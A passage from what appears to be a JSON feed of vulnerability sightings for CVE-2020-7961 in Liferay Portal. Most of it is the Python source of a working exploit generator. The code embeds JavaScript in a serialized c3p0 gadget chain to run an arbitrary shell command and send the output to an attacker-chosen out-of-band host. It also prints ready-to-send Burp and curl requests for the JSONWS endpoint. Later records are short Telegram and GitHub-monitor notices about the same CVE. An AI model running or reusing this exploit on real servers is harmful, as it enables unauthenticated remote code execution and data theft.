offset 0x0415 (TC_STRING tag), content at 0x0418, original length 346\nBASE_HEX_FILE = os.path.join(os.path.dirname(__file__), \"cve_oob_payload.hex\")\n\nJS_TAG_OFFSET = 0x0415   # byte index of 0x74 TC_STRING opcode\nJS_CONTENT_OFFSET = 0x0418  # byte index where JS UTF-8 content starts (after tag+2-byte len)\nJS_OLD_LEN = 346         # length of original JS string in base payload\n\n\ndef load_base() -> bytes:\n    with open(BASE_HEX_FILE) as f:\n        return bytes.fromhex(f.read().strip())\n\n\ndef build_js(cmd: str, oob: str) -> str:\n    \"\"\"Build JavaScript for ProcessBuilder RCE with OOB exfil.\"\"\"\n    safe_cmd = cmd.replace(\"\\\\\", \"\\\\\\\\\").replace('\"', '\\\\\"')\n    return (\n        'try {\\n'\n        f'  var p = new java.lang.ProcessBuilder(\"bash\", \"-c\", \"{safe_cmd}\");\\n'\n        '  p.redirectErrorStream(true);\\n'\n        '  var proc = p.start();\\n'\n        '  var br = new java.io.BufferedReader(new java.io.InputStreamReader(proc.getInputStream()));\\n'\n        '  var out = \"\"; var line;\\n'\n        '  while ((line = br.readLine()) != null) { out += line + \"\\\\n\"; }\\n'\n        '  proc.waitFor();\\n'\n        '  var enc = java.net.URLEncoder.encode(out.trim(), \"UTF-8\");\\n'\n        f'  new java.net.URL(\"http://{oob}/out/\" + enc).openStream().read();\\n'\n        '} catch(e) {\\n'\n        '  try {\\n'\n        '    var enc2 = java.net.URLEncoder.encode(e.toString(), \"UTF-8\");\\n'\n        f'    new java.net.URL(\"http://{oob}/err/\" + enc2).openStream().read();\\n'\n        '  } catch(e2) {}\\n'\n        '}'\n    )\n\n\ndef patch_payload(base: bytes, new_js: str) -> bytes:\n    \"\"\"Replace the JS string in the serialized gadget chain.\"\"\"\n    js_bytes = new_js.encode(\"utf-8\")\n    jl = len(js_bytes)\n    # Structure at JS_TAG_OFFSET: [0x74][hi][lo][...js content...][rest of payload]\n    return (\n        base[:JS_TAG_OFFSET + 1]              # keep 0x74 TC_STRING tag\n        + bytes([jl >> 8, jl & 0xFF])        # new 2-byte big-endian length\n        + js_bytes                            # new JS content\n        + base[JS_TAG_OFFSET + 1 + 2 + JS_OLD_LEN:]  # tail (skip old len+content)\n    )\n\n\ndef make_post_body(hex_payload: str, p_auth: str, column_id: int) -> str:\n    \"\"\"URL-encode the JSONWS POST body.\"\"\"\n    user_overrides = f\"HexAsciiSerializedMap:{hex_payload};\"\n    return urllib.parse.urlencode({\n        \"cmd\": '{\"\\\\/expandocolumn\\\\/update-column\":{}}',\n        \"p_auth\": p_auth,\n        \"formDate\": \"1784000000000\",\n        \"columnId\": str(column_id),\n        \"name\": \"x\",\n        \"type\": \"1\",\n        \"defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\":\n            f'{{\"userOverridesAsString\":\"{user_overrides}\"}}',\n    })\n\n\ndef print_burp_request(host: str, body: str) -> None:\n    lines = [\n        f\"POST /api/jsonws/invoke HTTP/1.1\",\n        f\"Host: {host}\",\n        f\"Content-Type: application/x-www-form-urlencoded\",\n        f\"Content-Length: {len(body.encode())}\",\n        f\"Cookie: JSESSIONID=; COMPANY_ID=20155; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=vi_VN\",\n        f\"Connection: close\",\n        \"\",\n        body,\n    ]\n    print(\"=\" * 72)\n    print(\"BURP SUITE RAW REQUEST  (paste into Repeater)\")\n    print(\"=\" * 72)\n    print(\"\\n\".join(lines))\n\n\ndef print_curl_command(host: str, p_auth: str, hex_payload: str, column_id: int) -> None:\n    user_overrides = f'HexAsciiSerializedMap:{hex_payload};'\n    print(\"=\" * 72)\n    print(\"CURL COMMAND\")\n    print(\"=\" * 72)\n    print(f\"\"\"curl -s -X POST 'http://{host}/api/jsonws/invoke' \\\\\n  -H 'Content-Type: application/x-www-form-urlencoded' \\\\\n  -b 'JSESSIONID=; COMPANY_ID=20155; COOKIE_SUPPORT=true' \\\\\n  --data-urlencode 'cmd={{\"/expandocolumn/update-column\":{{}}}}' \\\\\n  --data-urlencode 'p_auth={p_auth}' \\\\\n  --data-urlencode 'formDate=1784000000000' \\\\\n  --data-urlencode 'columnId={column_id}' \\\\\n  --data-urlencode 'name=x' \\\\\n  --data-urlencode 'type=1' \\\\\n  --data-urlencode 'defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={{\"userOverridesAsString\":\"{user_overrides}\"}}'\n\"\"\")\n\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description=\"CVE-2020-7961 payload generator\",\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n    )\n    parser.add_argument(\"command\", help='OS command to run, e.g. \"id\" or \"cat /etc/passwd\"')\n    parser.add_argument(\"oob\", help='OOB host:port, e.g. \"bore.pub:9999\" or \"abc.oastify.com\"')\n    parser.add_argument(\"--host\", default=\"localhost:8080\", metavar=\"HOST:PORT\",\n                        help=\"Target host:port (default: localhost:8080)\")\n    parser.add_argument(\"--column-id\", default=20438, type=int, metavar=\"ID\",\n                        help=\"expandocolumn columnId (default: 20438, confirmed working)\")\n    parser.add_argument(\"--p-auth\", default=\"\", metavar=\"TOKEN\",\n                        help=\"p_auth token from a live session (get from page source: Liferay.authToken)\")\n    parser.add_argument(\"--burp\", action=\"store_true\", help=\"Show only Burp raw request\")\n    parser.add_argument(\"--curl\", action=\"store_true\", help=\"Show only curl command\")\n    parser.add_argument(\"--save\", metavar=\"FILE\", help=\"Also save hex payload to file\")\n    args = parser.parse_args()\n\n    base = load_base()\n    js = build_js(args.command, args.oob)\n    patched = patch_payload(base, js)\n    hex_payload = patched.hex().upper()\n    body = make_post_body(hex_payload, args.p_auth, args.column_id)\n\n    print(f\"\\n[+] Command    : {args.command}\")\n    print(f\"[+] OOB expect : GET http://{args.oob}/out/\")\n    print(f\"[+] Target     : http://{args.host}/api/jsonws/invoke\")\n    print(f\"[+] columnId   : {args.column_id}\")\n    print(f\"[+] Payload    : {len(patched)} bytes ({len(hex_payload)} hex chars)\")\n    print(f\"[+] JS size    : {len(js.encode())} bytes (was {JS_OLD_LEN})\\n\")\n\n    if args.burp:\n        print_burp_request(args.host, body)\n    elif args.curl:\n        print_curl_command(args.host, args.p_auth, hex_payload, args.column_id)\n    else:\n        print_burp_request(args.host, body)\n        print()\n        print_curl_command(args.host, args.p_auth, hex_payload, args.column_id)\n\n    out_path = args.save or \"/tmp/pentest-checklist/cve7961_payload.hex\"\n    with open(out_path, \"w\") as f:\n        f.write(hex_payload)\n    print(f\"[+] Hex payload saved to : {out_path}\")\n    print(f\"[+] Expected HTTP 200 response: flexjson.JSONException (gadget ran OK)\")\n    print(f\"[+] How to get p_auth: curl -s http://{args.host}/web/guest/home -b cookies.txt | grep authToken\")\n\n\nif __name__ == \"__main__\":\n    main()\n", "url": "https://gist.github.com/LVy-H/daa99a59da63473d94ce09d186e24861"}, {"timestamp": "2026-07-28T12:00:04.538Z", "date_only": false, "value": "2026-07-28T12:00:04.538586Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/95510", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "166b197a-57c0-4b34-a874-dc4ccac43f0a", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a liferay-ga4-rce-research\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a dinosn\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-28 10:31:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSecurity research on Liferay CE 7.0.3 GA4: pre-auth RCE as root (CVE-2020-7961 class) reproduced end-to-end, plus 16 more findings \u2014 8+ with no known CVE. Agentic loop-hunt: 25 generators, 22 judges, 9 live validators on Docker. Evidence trail + one-go checker included.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/95510"}, {"timestamp": "2026-07-28T20:00:07.609Z", "date_only": false, "value": "2026-07-28T20:00:07.609433Z", "kind": "sighting", "label": "Seen", "source": "Telegram/h1j6Jl6m2npLlEniyRpMllHKNmi9d2U9i1x7gM3I-76diKo", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "3ee877b7-1275-4366-a00d-7f1d60decd3a"}, {"timestamp": "2026-07-29T00:00:26.786Z", "date_only": false, "value": "2026-07-29T00:00:26.786795Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/h1j6Jl6m2npLlEniyRpMllHKNmi9d2U9i1x7gM3I-76diKo", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "422ceefa-e83e-4e6e-84a7-58add25195a8"}, {"timestamp": "2026-07-29T00:00:37.144Z", "date_only": false, "value": "2026-07-29T00:00:37.144818Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/95510", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "3a057169-8201-4859-9d04-81200670e662", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a liferay-ga4-rce-research\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a dinosn\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-28 10:31:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSecurity research on Liferay CE 7.0.3 GA4: pre-auth RCE as root (CVE-2020-7961 class) reproduced end-to-end, plus 16 more findings \u2014 8+ with no known CVE. Agentic loop-hunt: 25 generators, 22 judges, 9 live validators on Docker. Evidence trail + one-go checker included.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/95510"}, {"timestamp": "2026-09-01T20:00:46.968Z", "date_only": false, "value": "2026-09-01T20:00:46.968581Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/120646", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "99bd0d02-0b2a-49e9-969d-03802d0d7dda", "content": "\u2026..Continue reading on Medium \u00bb (https://0xweb01.medium.com/liferay-portal-rce-cve-2020-7961-ebd116b4b9fc?source=rss------bug_bounty-5)", "url": "https://t.me/hacking_Attack/120646"}, {"timestamp": "2026-09-01T20:00:47.204Z", "date_only": false, "value": "2026-09-01T20:00:47.204968Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/120644", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "3249290a-57b1-40cc-88b5-aeba38561b9c", "content": "Liferay Portal RCE | CVE-2020\u20137961\nhttps://0xweb01.medium.com/liferay-portal-rce-cve-2020-7961-ebd116b4b9fc?source=rss------bug_bounty-5", "url": "https://t.me/hacking_Attack/120644"}, {"timestamp": "2026-09-04T04:00:06.556Z", "date_only": false, "value": "2026-09-04T04:00:06.556453Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/120644", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "83d1fb96-aaca-4e41-b721-f699b680cad3", "content": "Liferay Portal RCE | CVE-2020\u20137961\nhttps://0xweb01.medium.com/liferay-portal-rce-cve-2020-7961-ebd116b4b9fc?source=rss------bug_bounty-5", "url": "https://t.me/hacking_Attack/120644"}, {"timestamp": "2026-09-04T04:00:06.941Z", "date_only": false, "value": "2026-09-04T04:00:06.941383Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/120646", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "c5b2387a-beea-4ecb-ab78-44b41f740246", "content": "\u2026..Continue reading on Medium \u00bb (https://0xweb01.medium.com/liferay-portal-rce-cve-2020-7961-ebd116b4b9fc?source=rss------bug_bounty-5)", "url": "https://t.me/hacking_Attack/120646"}]}